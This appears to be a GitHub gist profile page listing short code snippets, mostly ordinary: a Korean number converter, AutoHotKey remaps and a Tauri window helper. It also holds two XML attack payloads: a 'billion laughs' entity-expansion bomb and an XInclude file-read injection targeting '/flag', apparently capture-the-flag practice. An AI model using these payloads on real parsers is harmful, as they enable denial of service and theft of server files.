Skip to content

Instantly share code, notes, and snippets.

View sujang958's full-sized avatar
✏️
Lethargic, Aimless, and Hopeless

Songhun Cho sujang958

✏️
Lethargic, Aimless, and Hopeless
View GitHub Profile
@sujang958
sujang958 / nutk.js
Created May 5, 2021 15:06
number unit to korean
function num_to_kor(num) {
let bNum = BigInt(num);
let str = bNum.toString().replace('n', '');
let strArr = str.split('');
let resultArr = [];
let unitWords = {
'여백의미': null,
'': 3,
천: 3,
만: 4,
@sujang958
sujang958 / setting.ahk
Created September 17, 2022 00:31
AutoHotKey JIKL Arrows Key
ALT::return
!k:: Send {Down}
!i:: Send {Up}
!j:: Send {Left}
!l:: Send {Right}
+!k:: Send +{Down}
+!i:: Send +{Up}
+!j:: Send +{Left}
+!l:: Send +{Right}
@sujang958
sujang958 / main.ts
Created February 27, 2023 11:16
Tauri remember a window's position in TypeScript
import { LogicalPosition, appWindow } from "@tauri-apps/api/window"
appWindow.onMoved((position) => {
localStorage.setItem(
POSITION_KEY,
JSON.stringify({
x: position.payload.x,
y: position.payload.y,
})
)
// Simple example code to load a Wav file and play it with WASAPI
// This is NOT complete Wav loading code. It is a barebones example
// that makes a lot of assumptions, see the assert() calls for details
//
// References:
// http://www-mmsp.ece.mcgill.ca/Documents/AudioFormats/WAVE/WAVE.html
// Handmade Hero Day 138: Loading WAV Files
#include <windows.h>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
@sujang958
sujang958 / testd.xml
Last active June 10, 2023 08:43
asdffawdfasddsfa
<?xml version="1.0" encoding="utf-8"?>
<school>
<student>
<name>Gildong Hong</name>
<grade>2 grade <root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="/flag" parse="text" />
</root></grade>
</student>
</school>
@sujang958
sujang958 / asdf.php
Created September 2, 2023 08:49
asdf
echo "FROM URL";